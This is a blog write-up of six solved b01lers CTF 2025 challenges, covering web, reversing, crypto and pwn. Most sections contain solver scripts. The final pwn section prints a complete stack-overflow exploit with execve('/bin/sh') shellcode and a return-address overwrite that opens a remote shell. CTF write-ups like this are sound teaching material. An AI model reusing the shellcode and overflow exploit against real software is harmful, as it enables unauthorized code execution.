b01lers CTF 2025 Write-up
Introduction
This weekend I have competed in b01lers CTF and I would like to share with you the write-ups for the challenges I managed to solve. It was a fun competition and the challenges were well written. Unfortunately, I didn’t have enough time to look over all the tasks but I guess consistency is key.
web/when
Description
This challenge revolves around a simple Express.js web application that exposes a single POST endpoint at /gamble
. The core of the challenge is understanding how the application handles incoming requests and how the response is determined based on the timestamp supplied by the client.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
app.post('/gamble', (req, res) => {
const time = req.headers.date ? new Date(req.headers.date) : new Date()
const number = Math.floor(time.getTime() / 1000)
gamble(number).then(data => {
const bytes = new Uint8Array(data)
if (bytes[0] == 255 && bytes[1] == 255) {
res.send({
success: true,
result: "1111111111111111",
flag: "bctf{fake_flag}"
})
} else {
res.send({
success: true,
result: bytes[0].toString(2).padStart(8, "0") + bytes[1].toString(2).padStart(8, "0")
})
}
})
})
1
2
3
4
5
6
7
const limiter = rateLimit({
windowMs: 60 * 1000,
limit: 60,
skip: (req, res) => {
return req.path != "/gamble"
}
})
Solution
At first glance, the endpoint /gamble
appears to run a kind of lottery: it hashes the current Unix timestamp (in seconds) using SHA-256 and checks whether the first two bytes of the hash are 0xFF
. If they are, the user wins and receives the flag.
Crucially, the timestamp is derived from the Date
header in the request. This opens up a way to control the input to the hash function remotely.
To solve the challenge, we need to find a Unix timestamp for which the SHA-256 hash starts with two bytes equal to 0xFF
. This can be brute-forced locally using a script like:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const crypto = require('crypto');
function findValidTimestamp() {
const start = Math.floor(Date.now() / 1000);
for (let i = 0; i < 1_000_000; i++) {
const timestamp = start + i;
const hash = crypto.createHash('sha256').update(timestamp.toString()).digest();
if (hash[0] === 0xFF && hash[1] === 0xFF) {
return timestamp;
}
}
return null;
}
const validTimestamp = findValidTimestamp();
console.log('Valid timestamp:', validTimestamp);
Once a valid timestamp is found, send a POST request to the /gamble
endpoint with a custom Date
header matching the timestamp:
1
curl -X POST https://when.atreides.b01lersc.tf/gamble -H "Date: $(date -u -d @1745091496)"
If the timestamp is valid, the response will include the flag:
1
2
3
4
5
{
"success": true,
"result": "1111111111111111",
"flag": "bctf{ninety_nine_percent_of_gamblers_gamble_81dc9bdb}"
}
rev/class-struggle
Description
This challenge presents a cleverly obfuscated C program whose structure is themed after The Communist Manifesto. The actual logic of the program is hidden beneath layers of macro definitions that read like a historical narrative. Behind the scenes, it verifies a user-provided string (the flag) against an obfuscated check.
The real logic lies in the evhmllcbyoqu
function, which operates on an array of encrypted bytes. The verification process applies a series of bit-level transformations and comparisons against a hardcoded array. Each byte of the input flag is transformed in multiple stages, making reversing non-trivial at first glance.
Solution
Upon analyzing the C code, we identify the key transformation steps:
- Each byte of the input string is XORed with a value dependent on the index.
- The result is rotated to the left by a dynamic amount.
- Bits are scrambled through nibble-wise masking.
- The byte is incremented by 42.
- It is then compared with a byte in a hardcoded array.
To solve this, we must reverse these steps. The following Python script performs the necessary inverse operations to recover the flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env python3
"""
Script to reverse the CTF challenge transformation and recover the flag.
"""
def rotl(x: int, v: int) -> int:
"""Rotate byte x left by v bits (v masked to 3 bits)."""
v &= 7
return ((x << v) | (x >> (8 - v))) & 0xFF
def rotr(x: int, v: int) -> int:
"""Rotate byte x right by v bits (v masked to 3 bits)."""
v &= 7
return ((x >> v) | (x << (8 - v))) & 0xFF
# Encrypted byte sequence from the C array gnmupmhiaosg
encrypted = [
0x32, 0xc0, 0xbf, 0x6c, 0x61, 0x85, 0x5c, 0xe4,
0x40, 0xd0, 0x8f, 0xa2, 0xef, 0x7c, 0x4a, 0x02,
0x04, 0x9f, 0x37, 0x18, 0x68, 0x97, 0x39, 0x33,
0xbe, 0xf1, 0x20, 0xf1, 0x40, 0x83, 0x06, 0x7e,
0xf1, 0x46, 0xa6, 0x47, 0xfe, 0xc3, 0xc8, 0x67,
0x04, 0x4d, 0xba, 0x10, 0x9b, 0x33
]
def reverse_transform(data: list) -> bytes:
"""Apply inverse operations in reverse order to recover original bytes."""
output = []
for i, e in enumerate(data):
# Inverse of b(): undo nibble scramble and rotation
t = rotl(e, i % 8)
z = ((t & 0xF0) | ((~t) & 0x0F)) & 0xFF
# Inverse of the "+=42"
y = (z - 42) & 0xFF
# Inverse of tfkysf(): rotate right by (i+3)%7
x0 = rotr(y, (i + 3) % 7)
# Inverse of XOR with (index * 37)
plain = x0 ^ ((i * 37) & 0xFF)
output.append(plain)
return bytes(output)
if __name__ == "__main__":
flag = reverse_transform(encrypted)
print(flag.decode()) # Should print bctf{...}
This script successfully undoes the obfuscation, and when executed, it reveals the correct flag.
Output:
1
bctf{seizing_the_m3m3s_0f_pr0ducti0n_32187ea8}
web/trouble at the spa
Description
This challenge presents a React-based Single Page Application (SPA) with minimal visible functionality. At first glance, there are only a few navigable links and no sign of a flag. However, inspecting the JavaScript reveals the presence of a /flag
route that renders a special component containing the flag.
The catch? Visiting /flag
directly in the browser yields a 404 error, making it seem like the route doesn’t exist. This challenge tests your understanding of client-side routing and browser behavior.
1
2
3
4
5
6
7
8
9
export default function Flag() {
return (
<section className="text-center pt-24">
<div className="flex items-center text-5xl font-bold justify-center">
{'bctf{test_flag}'}
</div>
</section>
)
}
Solution
This is a React app using React Router’s <BrowserRouter>
, which relies on the HTML5 history API. In this setup, routes like /flag
are not handled by the server; they are managed entirely client-side after the app has loaded. Visiting /flag
directly causes the browser to send a request to the server for that path, and if the server isn’t configured to serve index.html
for all paths, you’ll get a 404.
To solve the challenge, we need to navigate to /flag
without refreshing the page, so the React app can handle the route.
Step-by-step
- Visit the base page
- Open DevTools → Console
- Run the following JavaScript to manually update the URL and trigger a route change:
1
2
window.history.pushState({}, '', '/flag');
window.dispatchEvent(new PopStateEvent('popstate'));
pushState()
updates the URL to/flag
without reloading.dispatchEvent()
triggers a navigation event (popstate
) that React Router listens for.
The React app will respond to this change and render the appropriate component for /flag
.
Flag:
1
bctf{r3wr1t1ng_h1st0ry_1b07a3768fc}
crypto/ASSS
Description
This challenge gives you a Python script that reads a 66-byte flag, encodes it as a large integer s
, and computes a value using a polynomial evaluated at a random point. The twist? All polynomial coefficients are multiples of a known 64-bit prime a
, which is also printed out. The result is a textbook example of accidental information leakage through modular arithmetic.
Here’s the challenge code:
1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Util.number import getPrime, bytes_to_long
def evaluate_poly(poly:list, x:int, s:int):
return s + sum(co*x**(i+1) for i, co in enumerate(poly))
s = bytes_to_long(open("./flag.txt", "rb").read())
a = getPrime(64)
poly = [a*getPrime(64) for _ in range(1, 20)]
share = getPrime(64)
print(f"Here is a ^_^: {a}")
print(f"Here is your share ^_^: ({share}, {evaluate_poly(poly, share, s)})")
The polynomial is:
\[f(x) = s + a \cdot (p_1 \cdot x + p_2 \cdot x^2 + ... + p_{19} \cdot x^{19})\]Thus:
\[\begin{equation} f(x) \equiv s \pmod{a} \label{eq:congruence} \end{equation}\]So each output leaks \(s \bmod a\), revealing the lower 64 bits of the flag. This congruence relation (1) is the key to our solution.
Solution
The flag is 66 bytes (528 bits), and each run of the challenge gives us a 64-bit prime a
and a share $(x, y)$ such that:
So, if we repeat this 9 times with different primes \(a_1, a_2, ..., a_9\), we can reconstruct the full secret integer \(s\) using the Chinese Remainder Theorem (CRT).
Step-by-step:
- Connect to the challenge and get \((a, s \bmod a)\) pairs
- Collect 9 such pairs so the product of all moduli \(a_i\) exceeds \(2^{528}\)
- Use CRT to reconstruct \(s\)
- Convert \(s\) back to bytes to recover the flag
Here is the solve script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import remote
import re
from functools import reduce
from operator import mul
HOST = 'asss.atreides.b01lersc.tf'
PORT = 8443
NUM_SHARES = 9
def get_leak():
io = remote(HOST, PORT, ssl=True)
data = io.recvall(timeout=5).decode()
io.close()
a = int(re.search(r'Here is a \^_\^: (\d+)', data).group(1))
x, y = map(int, re.search(r'Here is your share \^_\^: \((\d+), (\d+)\)', data).groups())
return a, y % a
def crt(remainders, moduli):
N = reduce(mul, moduli, 1)
total = 0
for (n_i, r_i) in zip(moduli, remainders):
N_i = N // n_i
inv = pow(N_i, -1, n_i)
total += r_i * N_i * inv
return total % N
def main():
moduli, residues = [], []
for _ in range(NUM_SHARES):
a, r = get_leak()
moduli.append(a)
residues.append(r)
s = crt(residues, moduli)
flag = s.to_bytes(66, byteorder='big')
print(flag.decode('utf-8', errors='replace'))
if __name__ == "__main__":
main()
Flag:
1
bctf{shamir_secret_sharing_isn't_ass_but_this_implementation_isXD}
rev/what
Description
This challenge involves a binary that processes a long encoded string and checks user input against a series of operations. The binary uses a ‘WHAT’ array and processes each character in the string to validate the input. The goal is to determine the correct input that results in the “oh, that makes sense.” message, which reveals the flag.
Solution
The binary processes a sequence of characters using operations (‘W’, ‘A’, ‘H’, ‘T’) and a fixed “WHAT” array. Each ‘T’ operation checks the current state against a predefined solution array. By reversing these operations for each group of characters ending with ‘T’, we can compute the required input characters.
Key insights:
- Operations modify a 64-bit state variable using cyclic access to the ‘WHAT’ array.
- Each ‘T’ corresponds to a value in the solution array, which must be reverse-engineered to find the input character.
- All operations are performed modulo (\(2^{64}\)) to simulate 64-bit unsigned integer behavior.
Step-by-Step
- Analyze the Binary:
- The binary processes a string with operations that modify an internal state (
in
). - Input characters are read at ‘?’ and validated at ‘T’ checkpoints.
- The binary processes a string with operations that modify an internal state (
- Reverse Operations:
- For each group ending with ‘T’, reverse the operations (W: XOR, H: subtract, A: divide) using the solution value.
- Track the index into the ‘WHAT’ array to ensure correct reversal order.
- Python Script:
- Parse the processing string into groups separated by ‘?’.
- For each group, reverse the operations to compute the input character.
- Combine characters to form the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
# The long processing string from the binary
processing_string = "?WAWWHT?WAAWWAHHWAWAAAT?WAAHAAHHAAT?WHAAAHAHAWWHT?WHAAHHAHAWHT?WWHHWWHAAAHHWHT?WHHHHHHHAAT?WHHHHHHWWAHHT?WHAAAHAHAWHHHHHAAHT?WHHWHHAHHAAAHAAHHHT?WHHHAHWHHHAHHHAHAAT?WAAHHAHHHAHHWHHHHHT?WHHHHAHHAHAHWHHHHHT?WHHHHHHHWAHHAHHHHHT?WAWT?WHAAAAAAAWT?WHAAHAAAWAWWT?WAAAHAWAWHHT?WAAAHHHHAT?WAHHWHAHAHT?WAHHHHWWHWHAT?WAHWHHHWHHHT?WAHHAAAHHAAHHAHHT?WHHHAHWWHAHAHAWHHAAT?WAHWHHHWAAHHHWAHHHAWT?WAHHHHHAAHHHWHAHHT?WHHHHHAHHAHHHHHAT?WHHHHHHWWHAHWHHHAHHT?WHHHHHHWHHWHWHWHHHAHT?WAAWAAAAAT?WHAAAAAWWAT?WAWWHWWHAAAAT?WAAAAWWHHHWT?WHAHHAAHWT?WHWHWAHHAHT?WHAHHWWWHWHHT?WHHAHHHHAAAWHAAWAWT?WWAWHAHHHAHHAWHAAHT?WHHAHHHHWAAHAWHHAWT?WAHHAHWAHHWHHAHWHHT?WHAHHHHWHHAWHHHWAHT?WWHWAHHHHHHHAHHHHWT?WHHWWHHWHAHHHHHHHHT?WHWHHHHHAAHWAHHHHAAHAHWHAT?WAAAAAAT?WWAAWHAWAWAT?WAAAWAHWHT?WHAHWAHAWWT?WHHHHAAT?WWHAHHHHWWWT?WHHWAWAAAHAHAHHAT?WHAAHHAHAAHAHHT?WWAHHHHHAHHHAAAT?WAHAHHHWHHAHHHWWAT?WHHHHHAWHAHHHWAHT?WHHHHHAHAHHHHHT?WHHHWHHAHHHHHHHT?WHHAHHHWAHAHAWHHAHAAHHHWT?WHAHAHWHHWHAHAAHHHHWHWHAHT?WAAAWAAT?WAAAAHT!"
# The solution array from the binary's data section
solution = [
0xF54, 0x16F4A5E260570, 0x9BD5485C77C, 0x523E921C64, 0x131A573AD,
0x8F0366A, 0x31923C, 0x8045, 0x7BDD4F2F841E4, 0x95916508BFE9,
0x8BE32212F8, 0x96A96236, 0x8F505CC, 0x2BA72F, 0xD79,
0x67F100A7FE057, 0x165F086E2AFB, 0xE629B2305, 0x4759F2CC,
0x1067699, 0x15E23, 0xFED, 0xA58A6FF5E80C3, 0x420719F56D10,
0xDE2C53AF7, 0x869BF143, 0xDA18D18, 0x3B669B, 0x10197,
0x2F5FF57445D00, 0x2D028A7A55F4, 0x16D07CE160, 0x5DC6247D,
0x2B0A9CD, 0x1EE163, 0x442C, 0x10DEB1377A1730, 0x15288F08A6D8,
0x769FFA893B, 0x16C9A3FC, 0x42356FE, 0x1CA845, 0xAE04,
0x2ACBC4C1348CA7, 0x156652F56900, 0x141A6B0269, 0x85044CA1,
0x4233D6B, 0x27CF3C, 0x3279, 0x11AB80FCED20E4, 0x1D631A31A393,
0x414D72A784, 0x5E787F58, 0x13497804, 0x260B58, 0x9A54,
0xA5D9DFC502EAA, 0x135AC1BC1242, 0x18D84F7478, 0x5394C6B7
]
# The 'what' array from the binary's data section
what = [0x57, 0x48, 0x41, 0x54] # 'W', 'H', 'A', 'T'
MOD = 2 ** 64
# Parse the processing string into groups
groups = []
current_group = None
for char in processing_string:
if char == '?':
current_group = []
groups.append(current_group)
elif char in ['W', 'A', 'H', 'T']:
if current_group is not None:
current_group.append(char)
elif char == '!':
pass # Ignore the end marker
# Ensure the number of groups matches the solution length
assert len(groups) == len(solution)
input_chars = []
current_what_idx = 0 # Tracks the current index into 'what'
for group, s in zip(groups, solution):
# Each group ends with 'T', so we exclude it from operations
ops = group[:-1]
n_ops = len(ops)
# Calculate the starting what index for reversed processing
reversed_what_idx = (current_what_idx + n_ops) % 4
# Start with the solution value modulo 2^64
current_in = s % MOD
# Process each operation in reverse order
for op in reversed(ops):
reversed_what_idx = (reversed_what_idx - 1) % 4
w = what[reversed_what_idx]
if op == 'W':
current_in = (current_in ^ w) % MOD
elif op == 'H':
current_in = (current_in - w) % MOD
elif op == 'A':
# Ensure division is exact
if current_in % w != 0:
raise ValueError(f"Division not exact for solution value {s:X} with operand {w}")
current_in = (current_in // w) % MOD
else:
raise ValueError(f"Unknown operation {op}")
# Convert the result to a character
input_char = chr(current_in % 0x100)
input_chars.append(input_char)
# Update the current what index for the next group
current_what_idx = (current_what_idx + n_ops) % 4
# Combine the characters to form the flag
flag = ''.join(input_chars)
print(flag)
Flag:
1
bctf{1m_p3rplexed_to_s4y_th3_v3ry_l34st_rzr664k1p5v2qe4qdkym}
pwn/where
Description
This challenge presents a simple C binary whose decompiled main looks like this:
1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[8]; // [rsp+8h] [rbp-28h] BYREF
char s[32]; // [rsp+10h] [rbp-20h] BYREF
setup(argc, argv, envp);
puts("I have put a ramjet on the little einstein's rocket ship");
puts("However, I do not know WHERE to go on the next adventure!");
printf("Quincy says somewhere around here might be fun... %p\n", v4);
fgets(s, 48, stdin);
return 0;
}
v4
is an 8‑byte buffer atRBP−0x28
.s
is a 32‑byte buffer atRBP−0x20
.- We call
fgets(s, 48, stdin)
, so can write 48 bytes into a 32‑byte array—overflowing saved RBP (8 bytes) and the saved return address (8 bytes). - The
printf
leaks the address ofv4
(i.e.RBP−0x28
), letting us compute exactly where our overflowed data lives.
Solution
We’ll inject 24 bytes of 64‑bit /bin/sh
shellcode into s
, pad out to the saved‑RET slot, then overwrite RET with the start of our shellcode. When main
returns, execution jumps right into our payload.
Stack layout at Runtime
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
higher addresses
┌───────────────────────────┐
│ [saved RBP] │ ← at rbp (caller’s base pointer)
├───────────────────────────┤
│ [saved RET] │ ← at rbp+8
├───────────────────────────┤
│ s[31] │ ← rbp–0x20 + 31
│ ... │
│ s[0] │ ← rbp–0x20
├───────────────────────────┤
│ v4[7] │ ← rbp–0x28 + 7
│ ... │
│ v4[0] │ ← rbp–0x28
└───────────────────────────┘
lower addresses
Leak Parsing
- The binary prints:
1
Quincy says somewhere around here might be fun... 0x7fffbd3ea7b8
- That address is
&v4
(i.e.rbp - 0x28
).
Compute Target Address
- We want to return into our
s
buffer, which begins 8 bytes abovev4
:
1
s_addr = leaked_v4 + 8
- On each run, this gives the exact runtime address of
s[0]
.
Craft Payload
- Shellcode: 24 bytes of
execve("/bin/sh")
. - Padding:
1
2
ret_offset = buf_size (32) + saved_rbp_sz (8) = 40 bytes
padding_len = 40 − 24 = 16 bytes of 'A'
- Overwrite RET with
p64(s_addr)
.
Full layout:
1
| shellcode (24 bytes) | padding (16 bytes) | new RET (8 bytes) |
Execution Flow
- Connect via SSL
remote(HOST, PORT, ssl=True)
. - Discard the first two
puts()
lines. - Read and parse the leak into
leaked_v4
. - Compute
s_addr = leaked_v4 + 8
. - Build and send the 48-byte payload.
- When
main
returns, RIP is loaded from our overwritten RET → jumps tos_addr
→ executes shellcode. - We drop into an interactive shell; run
cat flag.txt
to capture the flag.
Full Exploit Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
# Remote target configuration
def main():
HOST = 'where.harkonnen.b01lersc.tf'
PORT = 8443
SSL = True
# 64-bit execve shellcode (24 bytes): /bin/sh
shellcode = (
b"\x48\xb8" + b"/bin/sh\x00" + # mov rax, "/bin/sh\x00"
b"\x50\x54\x5f\x31\xc0\x50\xb0\x3b\x54\x5a\x54\x5e\x0f\x05"
)
assert len(shellcode) == 24, f"Shellcode length is {len(shellcode)}, expected 24"
# Offsets
buf_size = 32 # size of s[]
saved_rbp_sz = 8
ret_offset = buf_size + saved_rbp_sz # 40 bytes until return address
# Connect to remote (SSL)
p = remote(HOST, PORT, ssl=SSL)
# Drop the two puts messages
p.recvline(timeout=2)
p.recvline(timeout=2)
# Read leak line containing address of v4 (RBP - 0x28)
leak_line = p.recvline(timeout=2).decode().strip()
log.info(f"Leak line: {leak_line}")
leaked_v4 = int(leak_line.split()[-1], 16)
log.success(f"Leaked v4 address (RBP-0x28): {hex(leaked_v4)}")
# Compute start of s: v4 + 8 bytes
s_addr = leaked_v4 + 8
log.success(f"Computed s buffer address: {hex(s_addr)}")
# Build payload: shellcode + padding + ret -> s_addr
padding_len = ret_offset - len(shellcode)
payload = shellcode
payload += b'A' * padding_len
payload += p64(s_addr)
# Send payload
p.sendline(payload)
log.info(f"Sent {len(payload)} bytes payload")
# Interactive shell or flag
p.interactive()
if __name__ == '__main__':
main()
Flag:
1
bctf{s0_th@ts_wh3r3_0ur_ch1ldh00d_w3nt_d06fa4ee84a2e731}